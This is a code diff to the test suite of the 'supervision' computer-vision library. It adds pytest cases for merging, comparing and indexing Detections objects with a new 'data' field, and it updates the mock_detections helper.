mock_detections(xyxy=[[20, 20, 30, 30]]),
|
||||
],
|
||||
mock_detections(xyxy=[[10, 10, 20, 20], [20, 20, 30, 30]]),
|
||||
DoesNotRaise(),
|
||||
pytest.raises(ValueError),
|
||||
), # detection with xyxy, class_id fields + detection with xyxy field
|
||||
(
|
||||
[
|
||||
@@ -181,6 +184,16 @@ def test_getitem(
|
||||
mock_detections(xyxy=[[10, 10, 20, 20], [20, 20, 30, 30]], class_id=[0, 1]),
|
||||
DoesNotRaise(),
|
||||
), # two detections with xyxy, class_id fields
|
||||
(
|
||||
[
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]], data={"test": [1]}),
|
||||
mock_detections(xyxy=[[20, 20, 30, 30]], data={"test": [2]}),
|
||||
],
|
||||
mock_detections(
|
||||
xyxy=[[10, 10, 20, 20], [20, 20, 30, 30]], data={"test": [1, 2]}
|
||||
),
|
||||
DoesNotRaise(),
|
||||
), # two detections with xyxy, data fields
|
||||
],
|
||||
)
|
||||
def test_merge(
|
||||
@@ -273,3 +286,54 @@ def test_get_anchor_coordinates(
|
||||
result = detections.get_anchors_coordinates(anchor)
|
||||
with exception:
|
||||
assert np.array_equal(result, expected_result)
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"detections_a, detections_b, expected_result",
|
||||
[
|
||||
(
|
||||
Detections.empty(),
|
||||
Detections.empty(),
|
||||
True,
|
||||
), # empty detections
|
||||
(
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]]),
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]]),
|
||||
True,
|
||||
), # detections with xyxy field
|
||||
(
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]], confidence=[0.5]),
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]], confidence=[0.5]),
|
||||
True,
|
||||
), # detections with xyxy, confidence fields
|
||||
(
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]], confidence=[0.5]),
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]]),
|
||||
False,
|
||||
), # detection with xyxy field + detection with xyxy, confidence fields
|
||||
(
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]], data={"test": [1]}),
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]], data={"test": [1]}),
|
||||
True,
|
||||
), # detections with xyxy, data fields
|
||||
(
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]], data={"test": [1]}),
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]]),
|
||||
False,
|
||||
), # detection with xyxy field + detection with xyxy, data fields
|
||||
(
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]], data={"test_1": [1]}),
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]], data={"test_2": [1]}),
|
||||
False,
|
||||
), # detections with xyxy, and different data field names
|
||||
(
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]], data={"test_1": [1]}),
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]], data={"test_1": [3]}),
|
||||
False,
|
||||
), # detections with xyxy, and different data field values
|
||||
],
|
||||
)
|
||||
def test_equal(
|
||||
detections_a: Detections, detections_b: Detections, expected_result: bool
|
||||
) -> None:
|
||||
assert (detections_a == detections_b) == expected_result
|
||||
|
||||
@@ -1,13 +1,16 @@
|
||||
from contextlib import ExitStack as DoesNotRaise
|
||||
from typing import List, Optional, Tuple
|
||||
from typing import Any, Dict, List, Optional, Tuple
|
||||
|
||||
import numpy as np
|
||||
import pytest
|
||||
|
||||
from supervision.config import CLASS_NAME_DATA_FIELD
|
||||
from supervision.detection.utils import (
|
||||
calculate_masks_centroids,
|
||||
clip_boxes,
|
||||
filter_polygons_by_area,
|
||||
get_data_item,
|
||||
merge_data,
|
||||
move_boxes,
|
||||
non_max_suppression,
|
||||
process_roboflow_result,
|
||||
@@ -266,7 +269,14 @@ def test_filter_polygons_by_area(
|
||||
[
|
||||
(
|
||||
{"predictions": [], "image": {"width": 1000, "height": 1000}},
|
||||
(np.empty((0, 4)), np.empty(0), np.empty(0), None, None),
|
||||
(
|
||||
np.empty((0, 4)),
|
||||
np.empty(0),
|
||||
np.empty(0),
|
||||
None,
|
||||
None,
|
||||
{CLASS_NAME_DATA_FIELD: np.empty(0)},
|
||||
),
|
||||
DoesNotRaise(),
|
||||
), # empty result
|
||||
(
|
||||
@@ -290,6 +300,7 @@ def test_filter_polygons_by_area(
|
||||
np.array([0]),
|
||||
None,
|
||||
None,
|
||||
{CLASS_NAME_DATA_FIELD: np.array(["person"])},
|
||||
),
|
||||
DoesNotRaise(),
|
||||
), # single correct object detection result
|
||||
@@ -325,6 +336,7 @@ def test_filter_polygons_by_area(
|
||||
np.array([0, 7]),
|
||||
None,
|
||||
np.array([1, 2]),
|
||||
{CLASS_NAME_DATA_FIELD: np.array(["person", "truck"])},
|
||||
),
|
||||
DoesNotRaise(),
|
||||
), # two correct object detection result
|
||||
@@ -345,7 +357,14 @@ def test_filter_polygons_by_area(
|
||||
],
|
||||
"image": {"width": 1000, "height": 1000},
|
||||
},
|
||||
(np.empty((0, 4)), np.empty(0), np.empty(0), None, None),
|
||||
(
|
||||
np.empty((0, 4)),
|
||||
np.empty(0),
|
||||
np.empty(0),
|
||||
None,
|
||||
None,
|
||||
{CLASS_NAME_DATA_FIELD: np.empty(0)},
|
||||
),
|
||||
DoesNotRaise(),
|
||||
), # single incorrect instance segmentation result with no points
|
||||
(
|
||||
@@ -364,7 +383,14 @@ def test_filter_polygons_by_area(
|
||||
],
|
||||
"image": {"width": 1000, "height": 1000},
|
||||
},
|
||||
(np.empty((0, 4)), np.empty(0), np.empty(0), None, None),
|
||||
(
|
||||
np.empty((0, 4)),
|
||||
np.empty(0),
|
||||
np.empty(0),
|
||||
None,
|
||||
None,
|
||||
{CLASS_NAME_DATA_FIELD: np.empty(0)},
|
||||
),
|
||||
DoesNotRaise(),
|
||||
), # single incorrect instance segmentation result with no enough points
|
||||
(
|
||||
@@ -394,6 +420,7 @@ def test_filter_polygons_by_area(
|
||||
np.array([0]),
|
||||
TEST_MASK,
|
||||
None,
|
||||
{CLASS_NAME_DATA_FIELD: np.array(["person"])},
|
||||
),
|
||||
DoesNotRaise(),
|
||||
), # single incorrect instance segmentation result with no enough points
|
||||
@@ -434,6 +461,7 @@ def test_filter_polygons_by_area(
|
||||
np.array([0]),
|
||||
TEST_MASK,
|
||||
None,
|
||||
{CLASS_NAME_DATA_FIELD: np.array(["person"])},
|
||||
),
|
||||
DoesNotRaise(),
|
||||
), # two instance segmentation results - one correct, one incorrect
|
||||
@@ -457,6 +485,15 @@ def test_process_roboflow_result(
|
||||
assert (result[4] is None and expected_result[4] is None) or (
|
||||
np.array_equal(result[4], expected_result[4])
|
||||
)
|
||||
for key in result[5]:
|
||||
if isinstance(result[5][key], np.ndarray):
|
||||
assert np.array_equal(
|
||||
result[5][key], expected_result[5][key]
|
||||
), f"Mismatch in arrays for key {key}"
|
||||
else:
|
||||
assert (
|
||||
result[5][key] == expected_result[5][key]
|
||||
), f"Mismatch in non-array data for key {key}"
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
@@ -640,3 +677,274 @@ def test_calculate_masks_centroids(
|
||||
with exception:
|
||||
result = calculate_masks_centroids(masks=masks)
|
||||
assert np.array_equal(result, expected_result)
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"data_list, expected_result, exception",
|
||||
[
|
||||
(
|
||||
[],
|
||||
{},
|
||||
DoesNotRaise(),
|
||||
), # empty data list
|
||||
(
|
||||
[{}],
|
||||
{},
|
||||
DoesNotRaise(),
|
||||
), # single empty data dict
|
||||
(
|
||||
[{}, {}],
|
||||
{},
|
||||
DoesNotRaise(),
|
||||
), # two empty data dicts
|
||||
(
|
||||
[
|
||||
{"test_1": []},
|
||||
],
|
||||
{"test_1": []},
|
||||
DoesNotRaise(),
|
||||
), # single data dict with a single field name and empty list values
|
||||
(
|
||||
[
|
||||
{"test_1": np.array([])},
|
||||
],
|
||||
{"test_1": np.array([])},
|
||||
DoesNotRaise(),
|
||||
), # single data dict with a single field name and empty np.array values
|
||||
(
|
||||
[
|
||||
{"test_1": [1, 2, 3]},
|
||||
],
|
||||
{"test_1": [1, 2, 3]},
|
||||
DoesNotRaise(),
|
||||
), # single data dict with a single field name and list values
|
||||
(
|
||||
[
|
||||
{"test_1": []},
|
||||
{"test_1": [3, 2, 1]},
|
||||
],
|
||||
{"test_1": [3, 2, 1]},
|
||||
DoesNotRaise(),
|
||||
), # two data dicts with the same field name and empty and list values
|
||||
(
|
||||
[
|
||||
{"test_1": [1, 2, 3]},
|
||||
{"test_1": [3, 2, 1]},
|
||||
],
|
||||
{"test_1": [1, 2, 3, 3, 2, 1]},
|
||||
DoesNotRaise(),
|
||||
), # two data dicts with the same field name and list values
|
||||
(
|
||||
[
|
||||
{"test_1": [1, 2, 3]},
|
||||
{"test_1": [3, 2, 1]},
|
||||
{"test_1": [1, 2, 3]},
|
||||
],
|
||||
{"test_1": [1, 2, 3, 3, 2, 1, 1, 2, 3]},
|
||||
DoesNotRaise(),
|
||||
), # three data dicts with the same field name and list values
|
||||
(
|
||||
[
|
||||
{"test_1": [1, 2, 3]},
|
||||
{"test_2": [3, 2, 1]},
|
||||
],
|
||||
None,
|
||||
pytest.raises(ValueError),
|
||||
), # two data dicts with different field names
|
||||
(
|
||||
[
|
||||
{"test_1": np.array([1, 2, 3])},
|
||||
{"test_1": np.array([3, 2, 1])},
|
||||
],
|
||||
{"test_1": np.array([1, 2, 3, 3, 2, 1])},
|
||||
DoesNotRaise(),
|
||||
), # two data dicts with the same field name and np.array values as 1D arrays
|
||||
(
|
||||
[
|
||||
{"test_1": np.array([[1, 2, 3]])},
|
||||
{"test_1": np.array([[3, 2, 1]])},
|
||||
],
|
||||
{"test_1": np.array([[1, 2, 3], [3, 2, 1]])},
|
||||
DoesNotRaise(),
|
||||
), # two data dicts with the same field name and np.array values as 2D arrays
|
||||
(
|
||||
[
|
||||
{"test_1": np.array([1, 2, 3]), "test_2": np.array(["a", "b", "c"])},
|
||||
{"test_1": np.array([3, 2, 1]), "test_2": np.array(["c", "b", "a"])},
|
||||
],
|
||||
{
|
||||
"test_1": np.array([1, 2, 3, 3, 2, 1]),
|
||||
"test_2": np.array(["a", "b", "c", "c", "b", "a"]),
|
||||
},
|
||||
DoesNotRaise(),
|
||||
), # two data dicts with the same field names and np.array values
|
||||
(
|
||||
[
|
||||
{"test_1": [1, 2, 3], "test_2": np.array(["a", "b", "c"])},
|
||||
{"test_1": [3, 2, 1], "test_2": np.array(["c", "b", "a"])},
|
||||
],
|
||||
{
|
||||
"test_1": [1, 2, 3, 3, 2, 1],
|
||||
"test_2": np.array(["a", "b", "c", "c", "b", "a"]),
|
||||
},
|
||||
DoesNotRaise(),
|
||||
), # two data dicts with the same field names and mixed values
|
||||
(
|
||||
[
|
||||
{"test_1": np.array([1, 2, 3])},
|
||||
{"test_1": np.array([[3, 2, 1]])},
|
||||
],
|
||||
None,
|
||||
pytest.raises(ValueError),
|
||||
), # two data dicts with the same field name and 1D and 2D arrays values
|
||||
(
|
||||
[
|
||||
{"test_1": np.array([1, 2, 3]), "test_2": np.array(["a", "b"])},
|
||||
{"test_1": np.array([3, 2, 1]), "test_2": np.array(["c", "b", "a"])},
|
||||
],
|
||||
None,
|
||||
pytest.raises(ValueError),
|
||||
), # two data dicts with the same field name and different length arrays values
|
||||
],
|
||||
)
|
||||
def test_merge_data(
|
||||
data_list: List[Dict[str, Any]],
|
||||
expected_result: Optional[Dict[str, Any]],
|
||||
exception: Exception,
|
||||
):
|
||||
with exception:
|
||||
result = merge_data(data_list=data_list)
|
||||
for key in result:
|
||||
if isinstance(result[key], np.ndarray):
|
||||
assert np.array_equal(
|
||||
result[key], expected_result[key]
|
||||
), f"Mismatch in arrays for key {key}"
|
||||
else:
|
||||
assert (
|
||||
result[key] == expected_result[key]
|
||||
), f"Mismatch in non-array data for key {key}"
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"data, index, expected_result, exception",
|
||||
[
|
||||
({}, 0, {}, DoesNotRaise()), # empty data dict
|
||||
(
|
||||
{
|
||||
"test_1": [1, 2, 3],
|
||||
},
|
||||
0,
|
||||
{
|
||||
"test_1": [1],
|
||||
},
|
||||
DoesNotRaise(),
|
||||
), # single data dict with a single field name and list values
|
||||
(
|
||||
{
|
||||
"test_1": np.array([1, 2, 3]),
|
||||
},
|
||||
0,
|
||||
{
|
||||
"test_1": np.array([1]),
|
||||
},
|
||||
DoesNotRaise(),
|
||||
), # single data dict with a single field name and np.array values as 1D arrays
|
||||
(
|
||||
{
|
||||
"test_1": [1, 2, 3],
|
||||
},
|
||||
slice(0, 2),
|
||||
{
|
||||
"test_1": [1, 2],
|
||||
},
|
||||
DoesNotRaise(),
|
||||
), # single data dict with a single field name and list values
|
||||
(
|
||||
{
|
||||
"test_1": np.array([1, 2, 3]),
|
||||
},
|
||||
slice(0, 2),
|
||||
{
|
||||
"test_1": np.array([1, 2]),
|
||||
},
|
||||
DoesNotRaise(),
|
||||
), # single data dict with a single field name and np.array values as 1D arrays
|
||||
(
|
||||
{
|
||||
"test_1": [1, 2, 3],
|
||||
},
|
||||
-1,
|
||||
{
|
||||
"test_1": [3],
|
||||
},
|
||||
DoesNotRaise(),
|
||||
), # single data dict with a single field name and list values
|
||||
(
|
||||
{
|
||||
"test_1": np.array([1, 2, 3]),
|
||||
},
|
||||
-1,
|
||||
{
|
||||
"test_1": np.array([3]),
|
||||
},
|
||||
DoesNotRaise(),
|
||||
), # single data dict with a single field name and np.array values as 1D arrays
|
||||
(
|
||||
{
|
||||
"test_1": [1, 2, 3],
|
||||
},
|
||||
[0, 2],
|
||||
{
|
||||
"test_1": [1, 3],
|
||||
},
|
||||
DoesNotRaise(),
|
||||
), # single data dict with a single field name and list values
|
||||
(
|
||||
{
|
||||
"test_1": np.array([1, 2, 3]),
|
||||
},
|
||||
[0, 2],
|
||||
{
|
||||
"test_1": np.array([1, 3]),
|
||||
},
|
||||
DoesNotRaise(),
|
||||
), # single data dict with a single field name and np.array values as 1D arrays
|
||||
(
|
||||
{
|
||||
"test_1": [1, 2, 3],
|
||||
},
|
||||
np.array([0, 2]),
|
||||
{
|
||||
"test_1": [1, 3],
|
||||
},
|
||||
DoesNotRaise(),
|
||||
), # single data dict with a single field name and list values
|
||||
(
|
||||
{
|
||||
"test_1": np.array([1, 2, 3]),
|
||||
},
|
||||
np.array([0, 2]),
|
||||
{
|
||||
"test_1": np.array([1, 3]),
|
||||
},
|
||||
DoesNotRaise(),
|
||||
),
|
||||
],
|
||||
)
|
||||
def test_get_data_item(
|
||||
data: Dict[str, Any],
|
||||
index: Any,
|
||||
expected_result: Optional[Dict[str, Any]],
|
||||
exception: Exception,
|
||||
):
|
||||
with exception:
|
||||
result = get_data_item(data=data, index=index)
|
||||
for key in result:
|
||||
if isinstance(result[key], np.ndarray):
|
||||
assert np.array_equal(
|
||||
result[key], expected_result[key]
|
||||
), f"Mismatch in arrays for key {key}"
|
||||
else:
|
||||
assert (
|
||||
result[key] == expected_result[key]
|
||||
), f"Mismatch in non-array data for key {key}"
|
||||
|
||||
+18
-11
@@ -1,4 +1,4 @@
|
||||
from typing import List
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
import numpy as np
|
||||
|
||||
@@ -7,19 +7,26 @@ from supervision.detection.core import Detections
|
||||
|
||||
def mock_detections(
|
||||
xyxy: List[List[float]],
|
||||
confidence: List[float] = None,
|
||||
class_id: List[int] = None,
|
||||
tracker_id: List[int] = None,
|
||||
mask: Optional[List[np.ndarray]] = None,
|
||||
confidence: Optional[List[float]] = None,
|
||||
class_id: Optional[List[int]] = None,
|
||||
tracker_id: Optional[List[int]] = None,
|
||||
data: Optional[Dict[str, List[Any]]] = None,
|
||||
) -> Detections:
|
||||
def convert_data(data: Dict[str, List[Any]]):
|
||||
return {k: np.array(v) for k, v in data.items()}
|
||||
|
||||
return Detections(
|
||||
xyxy=np.array(xyxy, dtype=np.float32),
|
||||
confidence=confidence
|
||||
if confidence is None
|
||||
else np.array(confidence, dtype=np.float32),
|
||||
class_id=class_id if class_id is None else np.array(class_id, dtype=int),
|
||||
tracker_id=tracker_id
|
||||
if tracker_id is None
|
||||
else np.array(tracker_id, dtype=int),
|
||||
mask=(mask if mask is None else np.array(mask, dtype=bool)),
|
||||
confidence=(
|
||||
confidence if confidence is None else np.array(confidence, dtype=np.float32)
|
||||
),
|
||||
class_id=(class_id if class_id is None else np.array(class_id, dtype=int)),
|
||||
tracker_id=(
|
||||
tracker_id if tracker_id is None else np.array(tracker_id, dtype=int)
|
||||
),
|
||||
data=convert_data(data) if data else {},
|
||||
)
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user